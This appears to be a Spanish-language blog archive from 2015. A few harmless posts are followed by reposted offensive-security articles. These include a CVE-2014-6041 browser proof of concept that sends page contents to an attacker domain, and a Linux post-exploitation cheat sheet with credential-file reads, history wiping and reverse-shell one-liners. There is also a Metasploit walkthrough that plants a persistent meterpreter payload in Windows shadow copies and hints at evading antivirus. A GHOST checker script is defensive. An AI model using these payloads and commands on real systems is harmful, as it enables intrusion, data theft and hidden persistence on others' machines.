miércoles, 18 de febrero de 2015

Este video te enseña a leer chino en 10 minutos

El idioma más popular del mundo es más accesible de lo que parece.
Esta mujer ideó un sistema fácil e innovador para que sus hijos aprendan a leer chino. Este original método -que consiste en asociar los caracteres chinos a distintos íconos para memorizarlos- está ayudando a reducir la brecha lingüística entre Occidente y Oriente:
¿Quieres intentarlo?

 https://www.youtube.com/watch?v=J0PfbTgNc4w



Original

Fuente: http://www.upsocl.com/cultura-y-entretencion/impresionante-este-video-te-ensena-a-leer-chino-en-10-minutos/

martes, 17 de febrero de 2015

Conocer que canción era la número 1 cuando naciste

Buenas tardes.

Si quieres conocer que canción era la número 1 cuando naciste ya lo puedes hacer, esta página hace un recuento de canciones que han dominado en los principales listados musicales.

Para verificarlo ve al siguiente link:
http://playback.fm/birthday-song

Luego selecciona tu fecha y sabras que canción te "define".

Saludos

Ingeniería inversa para principiantes (libro gratuito)

¿Por qué uno debe aprender el lenguaje ensamblador en estos días? A menos que seas desarrollador de sistemas operativos, es probable que no necesites escribir nunca en ensamblador: los compiladores modernos realizan optimizaciones mucho mejor de lo que lo hacen los humanos. Además, las CPUs modernas son dispositivos muy complejos y saber ensamblador no te dará un conocimiento exacto de su funcionamiento interno.

Sin embargo, hay al menos dos áreas en las que un buen conocimiento de ensamblador podría ayudarte: Primero, el análisis de malware/seguridad. Segundo, obtener una mejor comprensión de tu código compilado mientras lo depuras.

Ingeniería inversa para principiantes (en inglés 'Reverse Engineering for Beginners') es un libro gratuito de Dennis Yurichev dirigido a todos aquellos que quieran aprender a entender el código x86 (que representa la mayor parte de ejecutables en el mundo del software) y ARM creado por compiladores C/C++.


Muy, muy recomendable!!

Descarga del libro: http://beginners.re/RE_for_beginners-en.pdf


Fuente: http://www.hackplayers.com/2014/08/ingenieria-inversa-para-principiantes.html

lunes, 16 de febrero de 2015

Evasión de SOP en navegadores de Android < 4.4 (CVE-2014-6041)


La Política del mismo origen o Same Origin Policy (SOP) es una medida de seguridad básica que deben implementar todos los navegadores actuales. La idea es muy sencilla: el código de una página que se ejecuta en cliente (casi siempre javascript) no debe ser capaz de acceder al código de otra.

Eso es porque, aunque hay algunas excepciones con unas pocas propiedades y atributos, si se permitiera acceder globalmente desde un origen a otro (Esquema, dominio y puerto) un sitio A podría acceder a las propiedades de otro sitio B, es decir, un sitio malicioso podría obtener las cookies, location, response, etc. de otro sitio por el que está navegando el usuario. Un ejemplo claro sería cuando un usuario accede a un sitio malicioso y es posible robar una sesión de Facebook abierta en otra pestaña del navegador.

Pues bien, resulta que el navegador por defecto de todas las versiones de Android anteriores a la 4.4, el conocido como AOSP browser (Android Open Source Project), permite evadir La Política del mismo origen (SOP) cargando Javascript en un iframe o ventana cualquiera simplemente poniendo antes de "javascript:..." un byte nulo. Es lo que sería UXSS (Universal Cross-site Scripting).


Veamos un ejemplo claro:
<iframe name="test" src="http://www.prueba.com"></iframe>
 
<input type=button value="test"
 
onclick="window.open('\u0000javascript:alert(document.domain)','test')" >

Como veis el código intentará acceder a la propiedad document.domain del sitio www.prueba.com, y si lo hacéis desde un navegador vulnerable funciona. Se trata pues de un fallo crítico, el identificado con CVE-2014-6041, que afecta a la mayoría de los sistemas Android (que son los desafortunadamente no actualizados).


Por tanto podemos leer la respuesta de cualquier página accediendo a la propiedad document.body.innerHTML:
<iframe name="test" src="http://www.prueba.com"></iframe>
<input type=button value="test"
onclick="window.open('\u0000javascript:alert(document.body.innerHTML)','test')" >

A continuación para completar el "trabajito" podemos enviar la respuesta al dominio a nuestro dominio de atacante:

<iframe name="test" src="http://www.prueba.com"></iframe>
<input type=button value="test"
onclick="window.open('\u0000javascript:var i=new Image();i.src='//atacante.com?'+document.body.innerHTML;document.body.appendChild(i);','test')" >

Y si algún sitio web temeroso de clickjacking tiene algún framekiller podemos aprovechar las bondades del atributo sandbox de HTML5:

<iframe name="test" src="http://www.prueba.com" sandbox></iframe>
<input type=button value="test"
onclick="window.open('\u0000javascript:var i=new Image();i.src='//atacante.com?'+document.body.innerHTML;document.body.appendChild(i);','test')" >

Además, para facilitarnos más aún la vida loca, jvennix-r7 ha publicado un módulo de Metasploit que también soporta la evasión de x-frame-options cocinando así un exploit universal listo para su uso: https://github.com/rapid7/metasploit-framework/pull/3759.

Probarlo es fácil. Ingresamos inocentemente en Facebook con nuestro usuario:

 

Y preparamos la PoC con Metasploit:

msf > use auxiliary/gather/android_stock_browser_uxss
set TARGET_URLS http://example.com
TARGET_URLS => http://example.com
msf auxiliary(android_stock_browser_uxss) > run
[*] Auxiliary module execution completed
msf auxiliary(android_stock_browser_uxss) >
[*] Using URL: http://0.0.0.0:8080/EFba5g10Ou
[*]  Local IP: http://10.21.1.99:8080/EFba5g10Ou
[*] Server started.

msf auxiliary(android_stock_browser_uxss) >
[*] 10.21.1.99       android_stock_browser_uxss - Request 'GET /EFba5g10Ou'
[*] 10.21.1.99       android_stock_browser_uxss - Sending initial HTML ...
[*] 10.21.1.99       android_stock_browser_uxss - Request 'POST /EFba5g10Ou'
[+] Collected data from URL: http://example.com/
[+] Saved to: D:/metasploit/apps/pro/loot/20140916171229_default_10.21.1.99_android.client_314522.txt
 
Fuentes: 
- Android Browser Same Origin Policy Bypass - CVE-2014-6041 
- UXSS in AOSP browser allows for arbitrary cross-domain javascript
- Android Browser Same Origin Policy Bypass Vulnerability 
- Android minor 4.4 AOSP (Stock) Browser UXSS: cross-domain cookie/response extraction module #3759 
- Major Android Bug is a Privacy Disaster (CVE-2014-6041) 
 
Fuente: http://www.hackplayers.com/2014/09/evasion-de-SOP-android-inferior-a-4.4.html

Comandos útiles de *nix para pen-testers/hackers


Hoy rescatamos una entrada de c0rrupt en la que se recopilan diversos comandos que nos serán útiles para la post-explotación de un sistema Linux/Unix. Como siempre, si conocéis cualquier otro y queréis compartirlo no dudéis en comentar!

BLIND FILES
/etc/resolv.conf (todos pueden leerlo sin alertar a un IDS)
/etc/motd, /etc/issue
/etc/passwd
SISTEMA
uname -a
ps aux
top -n 1 -b
id
arch
w
who -a
gcc -v
mysql --version
perl -v
ruby -v
python --version
df -k
mount
last -a
lastlog
lastlogin (*bsd)
getenforce
dmesg
lspci
lsusb
lshw
lshw -c network
free -m
cat /proc/cpuinfo
cat /proc/meminfo
du -h --max-depth=1 /
which nmap (ver si está ya instalado)
locate bin/nmap
which nc (ver si está ya instalado)
locate bin/
whoami
jps -l
java -version
RED
hostname -f
ip addr show
ifconfig -a
route -n
cat /etc/network/interfaces
iptables -L -n
iptables-save
netstat -anop
netstat -r
netstat -nltupw (root con raw sockets)
arp -a
lsof -nPi
CONFIGURACIONES
ls -aRl /etc/ | awk '$1 ~ /w.$/' | grep -v lrwx 2>/dev/null
cat /etc/issue{,.net}
cat /etc/passwd
cat /etc/shadow (gotta try..)
cat /etc/shadow~ # (suele estar presente si se ha editado con gedit)
cat /etc/master.passwd
cat /etc/group
cat /etc/hosts
cat /etc/crontab
cat /etc/sysctl.conf
for user in $(cut -f1 -d: /etc/passwd); do echo $user; crontab -u $user -l; done # (Lista todos los crons)
cat /etc/resolv.conf
cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /opt/lampp/etc/httpd.conf
cat /etc/samba/smb.conf
cat /etc/openldap/ldap.conf
cat /etc/ldap/ldap.conf
pdbedit -L -w
pdbedit -L -v
cat /etc/exports
cat /etc/auto.master
cat /etc/auto_master
cat /etc/fstab
cat /etc/exports
find /etc/sysconfig/ -type f -exec cat {} \;
cat /etc/sudoers
DETERMINAR DISTRIBUCIÓN:
cat /etc/*release
/etc/SUSE-release                      # Novell SUSE        
/etc/redhat-release, /etc/redhat_version         # Red Hat
/etc/fedora-release                     # Fedora
/etc/slackware-release, /etc/slackware-version     # Slackware
/etc/debian_release, /etc/debian_version,         # Debian
/etc/mandrake-release                 # Mandrake
/etc/sun-release                     # Sun JDS
/etc/release                         # Solaris/Sparc
/etc/gentoo-release                     # Gentoo
/etc/lsb-release                     # ubuntu
??                            # arch linux
arch # on OpenBSD sample: OpenBSD.amd64
uname -a  (often hints at it pretty well)
PAQUETES INSTALADOS
rpm -qa --last | head
yum list | grep installed
dpkg -l  
dpkg -l |grep -i “linux-image”
pkg_info         # FreeBSD
FUENTES, REPOSITORIOS DE SOFTWARE
cat /etc/apt/sources.list
ls -l /etc/yum.repos.d/
cat  /etc/yum.conf
ENCONTRAR FICHEROS IMPORTANTES
find /var/log -type f -exec ls -la {} \;
ls -alhtr /mnt
ls -alhtr /media
ls -alhtr /tmp
ls -alhtr /home
cd /home/; tree
ls /home/*/.ssh/*
find /home -type f -iname '.*history'
ls -lart /etc/rc.d/
locate tar | grep [.]tar$
locate tgz | grep [.]tgz$
locate sql l grep [.]sql$
locate settings | grep [.]php$
locate config.inc | grep [.]php$
ls /home/*/id*
locate .properties | grep [.]properties #ficheros de configuración de java
locate .xml | grep [.]xml # ficheros de configuración de java/.net 
find /sbin /usr/sbin /opt /lib `echo $PATH | ‘sed s/:/ /g’` -perm -4000 # encuentra suids
BORRANDO TUS HUELLAS
export HISTFILE=
rm -rf ~/.bash_history && ln -s ~/.bash_history /dev/null
history -c
ACCIONES POR USUARIO
ls -alh /home/*/
ls -alh /home/*/.ssh/
cat /home/*/.ssh/authorized_keys
cat /home/*/.ssh/known_hosts
cat /home/*/.*hist*
find -type f /home/*/.vnc /home/*/.subversion
grep ^ssh /home/*/.*hist*
grep ^telnet `/home/*/.*hist*
grep ^mysql /home/*/.*hist*
cat /home/*/.viminfo
sudo -l # if sudoers is not readable, this sometimes works per user
crontab -l
Priv (sudo’d or as root)
ls -alh /root/
cat /etc/sudoers
cat /etc/shadow
cat /etc/master.passwd # OpenBSD
cat /var/spool/cron/crontabs/* | cat /var/spool/cron/*
lsof -nPi
ls /home/*/.ssh/*
SHELL INVERSO
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' nc -e /bin/sh 10
.0.0.1 1234 # note need -l on some versions, and many does NOT support -e anymore
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
xterm -display 10.0.0.1:1
Listener-     Xnest :1
Añade permiso para conectar-  xhost +victimIP

GHOST (CVE-2015-0235), el fantasma que se cierne sobre Linux


Qualys ha publicado una vulnerabilidad grave de desbordamiento de buffer en la función __nss_hostname_digits_dots() usada por otras funciones tan comunes como gethostbyname() y gethostbyname2() de glibc, que un atacante podría provocar al intentar resolver un nombre de host inválido (/etc/hosts o DNS).

Concretamente la función __nss_hostname_digits_dots() no calcula correctamente el tamaño del buffer que tiene que reservar y, bajo ciertas circunstancias, se pueden sobrescribir datos arbitrariamente mediante este desbordamiento. Aunque en principio sólo se pueden sobrescribir 4 bytes de memoria, se ha demostrado que son suficientes para evadir mitigaciones como ASLR y PIE y conseguir la ejecución remota de código.
En la práctica, esto se podría explotar solicitando resolver un nombre de host lo suficientemente largo (al menos 1KB) que cumpla los requisitos normales de nomenclatura (a.b.c.d).

 
Esta vulnerabilidad bautizada como GHOST (por su paralelismo con el nombre de la función afectada) y con código CVE-2015-0235, puede hacer que el atacante tome el control de un servidor Linux con el usuario de la aplicación que está ejecutando la resolución de nombre: Apache, Exim, Sendmail, Nginx, MySQL, TAZAS, Samba, ... ¡la lista es enorme!

Las versiones afectadas son:

- glibc 2.2 a 2.17 (incluidas) son vulnerables
- glibc 2.18 a 2.20 (incluidas) NO son vulnerables
- las versiones anteriores de glibc (<= 2.1.3) NO son vulnerables

Mediante el siguiente script en C hecho por la Universidad de Chicago podemos comprobar si somos vulnerables:

GHOSTTEMP=$(mktemp /tmp/ghost.XXXXXXXXXXXXXX)
GHOSTEXEC=$(mktemp /tmp/ghost.XXXXXXXXXXXXXX)
cat <<"EOF" > $GHOSTTEMP
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

#define CANARY "in_the_coal_mine"

struct {
  char buffer[1024];
  char canary[sizeof(CANARY)];
} temp = { "buffer", CANARY };

int main(void) {
  struct hostent resbuf;
  struct hostent *result;
  int herrno;
  int retval;

  /*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/
  size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1;
  char name[sizeof(temp.buffer)];
  memset(name, '0', len);
  name[len] = '\0';

  retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno);

  if (strcmp(temp.canary, CANARY) != 0) {
    puts("vulnerable");
    exit(EXIT_SUCCESS);
  }
  if (retval == ERANGE) {
    puts("not vulnerable");
    exit(EXIT_SUCCESS);
  }
  puts("should not happen");
  exit(EXIT_FAILURE);
}
EOF
gcc -x c $GHOSTTEMP -o $GHOSTEXEC
$GHOSTEXEC
rm -f $GHOSTTEMP $GHOSTEXECPaste your text here.

En caso que seamos vulnerables tendremos:
(...)
# gcc -x c $GHOSTTEMP -o $GHOSTEXEC
# $GHOSTEXEC
vulnerable
# rm -f $GHOSTTEMP $GHOSTEXEC 

Las siguientes distribuciones de Linux tiene versiones vulnerables de glibc:
Ubuntu
10.04 LTS     fix available     fixed in libc6 2.11.1-0ubuntu7.20
12.04 LTS     fix available     fixed in libc6 2.15-0ubuntu10.10
14 and newer     not vulnerable

Debian
6.x - squeeze     vulnerable
6.x - squeeze (LTS)     vulnerable
7.x - wheezy     vulnerable
7.x - wheezy (security)     fix available     fixed in glib 2.13-38+deb7u7
8.0 - jesse     not vulnerable
dev - sid     not vulnerable

Red Hat Enterprise
fix information
Desktop (v. 6)     fix available     fixed in glibc-2.12-1.149.el6_6.5
Desktop (v. 7)     fix available     fixed in glibc-2.17-55.el7_0.5
HPC Node (v. 6)     fix available     fixed in glibc-2.12-1.149.el6_6.5
HPC Node (v. 7)     fix available     fixed in glibc-2.17-55.el7_0.5
Server (v. 6)     fix available     fixed in glibc-2.12-1.149.el6_6.5
Server (v. 7)     fix available     fixed in glibc-2.17-55.el7_0.5
Server EUS (v. 6.6.z)     fix available     fixed in glibc-2.12-1.149.el6_6.5
Workstation (v. 6)     fix available     fixed in glibc-2.12-1.149.el6_6.5
Workstation (v. 7)     fix available     fixed in glibc-2.17-55.el7_0.5

Mint
13 “Maya”     fix available     Tracks Ubuntu 12.04, should get update from Ubuntu servers
17 “Qiana”     not vulnerable
17.1 “Rebecca”     not vulnerable

Gentoo
libc information
stable     not vulnerable      uses glibc 2.19-r1

Arch
fixed in all releases since August 2013, discussion here and package info here
anything recent     not vulnerable

Fedora
discussion
19 and earlier     vulnerable     uses glibc 2.17 and earlier
20     not vulnerable     uses glibc 2.18
21     not vulnerable     uses glibc 2.20

Mandriva Linux
all     vulnerable     appears to use glibc 2.16

openSUSE
vulnerability information
Enterprise 11 & older     vulnerable
Enterprise 12     not vulnerable
openSUSE 13.1 & newer      not vulnerable

Slackware
current     not vulnerable     uses glibc 2.20
14.1 and earlier     vulnerable     uses glibc 2.17 and earlier

Knoppix
information about glibc versions
7.2 and earlier     vulnerable     uses glibc 2.17 and earlier
7.4 and later     not vulnerable     uses glibc 2.19 and later

Slax
all     vulnerable     appears to use glibc 2.15

Lo llamativo de esta vulnerabilidad, sobre la que se informó públicamente ayer, es que estaba en glibc desde el año 2000 y no fue resuelta hasta 2013; sin embargo, la corrección no se marcó como de seguridad, por lo que distribuciones de largo recorrido como las LTS de Ubuntu, Debian o RHEL, no aplicaron el parche.

Sea como fuere, si tu distribución tiene ya parches disponibles aplicalos cuanto antes:

- Actualiza a glibc 2.18 o más reciente
- Reinicia todos los procesos que cargan la biblioteca glibc
- Corrige los nuevos binarios de software que estén enlazados estáticamente contra versiones vulnerables de la biblioteca glibc. 


Fuentes: 
- The GHOST Vulnerability
- Critical “GHOST” Vulnerability Released
- GHOST, el fantasma que acechaba en glibc
- Comprobar si somos vulnerables a Ghost CVE-2015-0235
- Ghost, un agujero de seguridad en Linux más peligroso para Internet que Heartbleed
- Vulnerability Overview: Ghost (CVE-2015-0235)
- Severe “Ghost” flaw leaves Linux systems vulnerable to takeover
- Scary 'Ghost' vulnerability leaves Linux systems vulnerable to possession
- GHOST: glibc: buffer overflow en gethostbyname CVE-2015-0235 
 
Fuente: http://www.hackplayers.com/2015/01/ghost-cve-2015-0235-el-fantasma-de-linux.html

Ocultar payloads persistentes en volúmenes 'shadow copy' de Windows


En Windows el servicio Volume Shadow Copy (VSS) crea copias de seguridad (snapshots) cada vez que hay un cambio en el sistema para poder tener disponible y actualizado un punto de restauración. Esta información de backup se almacena en volúmenes "ocultos" cuyas peculiaridades pueden ser aprovechadas con fines maliciosos, como por ejemplo ocultar artefactos de malware...

Recientemente se ha desarrollado un módulo de Metasploit para crear un payload persistente en un VSS en Windows 7. Se basa en el script VSSOwn de Tim Tomes y Mark Baggett y lo que hace es subir un ejecutable, crear un backup (VSS), borrarlo y ejecutar  \?\GLOBALROOT\/HarddiskVolumeShadowCopy\d{1,3}/%TEMP%\executable
La persistencia se consigue mediante una tarea programada (SCHTASK) o en una clave AUTORUN.

De momento para utilizarlo lo podemos descargar de Github:
root@kali:~# wget https://raw.github.com/MrXors/metasploit-framework/f345414832fe0895e6ed89e70eb57f72a103aeaf/modules/exploits/windows/local/vss_persistence.rb
root@kali:~# mv vss_persistence.rb /usr/share/metasploit-framework/modules/post/windows/manage/

Para probar generaremos un payload de prueba:
root@kali:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.177.128 LPORT=80 X > payload_prueba.exe

A continuación ejecutaremos la consola de Metasploit y recargaremos los módulos:
root@kali:~/# msfconsole -L
msf > reload_all
[*] Reloading modules from all module paths...
                          ########                  #
                      #################            #
                   ######################         #
                  #########################      #
                ############################
               ##############################
               ###############################
              ###############################
              ##############################
                              #    ########   #
                 ##        ###        ####   ##
                                      ###   ###
                                    ####   ###
               ####          ##########   ####
               #######################   ####
                 ####################   ####
                  ##################  ####
                    ############      ##
                       ########        ###
                      #########        #####
                    ############      ######
                   ########      #########
                     #####       ########
                       ###       #########
                      ######    ############
                     #######################
                     #   #   ###  #   #   ##
                     ########################
                      ##     ##   ##     ##
                            http://metasploit.pro


Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with
Metasploit Pro -- type 'go_pro' to launch it now.

       =[ metasploit v4.7.1-2013100901 [core:4.7 api:1.0]
+ -- --=[ 1207 exploits - 728 auxiliary - 202 post
+ -- --=[ 314 payloads - 30 encoders - 8 nops

Lo siguiente será obtener una sesión meterpreter. Hay que tener en cuenta que nuestro nuevo módulo es de post-explotación y que necesitamos que el usuario de la sesión tenga privilegios administrativos. En caso contrario tendremos que hacer uso de otro módulo para la escalación de privilegios local.
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LPORT 80
LPORT => 80
msf exploit(handler) > set LHOST 192.168.177.128
LHOST => 192.168.177.128
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.177.128:80 
[*] Starting the payload handler...

[*] Sending stage (770048 bytes) to 192.168.177.1
[*] Meterpreter session 1 opened (192.168.177.128:80 -> 192.168.177.1:4222) at 2013-10-16 06:07:56 -0100

meterpreter > getuid
Server username: PANDORA\vmotos
meterpreter > sysinfo
Computer        : PC102-23DRW
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64 (Current Process is WOW64)
System Language : es_ES
Meterpreter     : x86/win32

Ahora dejaremos en background la sesión para finalmente ejecutar el exploit:
meterpreter > background 
[*] Backgrounding session 1...


msf exploit(handler) > sessions

Active sessions
===============

  Id  Type                   Information                   Connection
  --  ----                   -----------                   ----------
  2   meterpreter x86/win32  PANDORA\vmotos @ PC102-23DRW  192.168.177.128:80 -> 192.168.177.1:5350 (192.168.177.1)
  
msf exploit(handler) > use post/windows/manage/vss_persistence 

msf exploit(vss_persistence) > show options

Module options (exploit/windows/manage/vss_persistence):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   DELAY    1                yes       Delay in Minutes for Reconnect attempt. Needs SCHTASK set to true to work. Default delay is 1 minute.
   EXECUTE  true             yes       Run the EXE on the remote system.
   RPATH                     no        Path on remote system to place Executable. Example: \\Windows\\Temp (DO NOT USE C:\ in your RPATH!)
   RUNKEY   false            yes       Create AutoRun Key for the EXE
   SCHTASK  false            yes       Create a Scheduled Task for the EXE.
   SESSION                   yes       The session to run this module on.
   VOLUME   C:\              yes       Volume to make a copy of.


Exploit target:

   Id  Name
   --  ----
   0   Windows 7

msf exploit(vss_persistence) > set SCHTASK true
SCHTASK => true

msf exploit(vss_persistence) > set session 1
session => 1

msf exploit(vss_persistence) > exploit

[*] Started reverse handler on 192.168.177.128:4444 
[*] Checking requirements...
[*] Starting Volume Shadow Service...
[*] Volume Shadow Copy service not running. Starting it now...
[*] Volume Shadow Copy started successfully.
[*] Uploading payload...
[*] Creating Shadow Volume Copy...
[*] ShadowCopy created successfully
[*] Finding the Shadow Copy Volume...
[*] Deleting malware...
[*] Executing \Windows\Temp\svhost69.exe...
[*] Sending stage (770052 bytes) to 192.168.177.128
[*] Creating Scheduled Task...
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.134:4917) at 2013-10-16 06:15:32 -0100

Y ya lo tenemos.

pd. Si habéis seguido estos pasos ya os habréis dado cuenta: en el momento de su ejecución el motor de análisis en tiempo real del AV detectará el payload. Para evitarlo se podría montar el volumen oculto (VSC) como si fuera una unidad de red o seguir otras técnicas. Además necesitarás desactivar/evadir UAC...
 
Fuente: http://www.hackplayers.com/2013/10/ocultar-payloads-persistentes-en-vss.html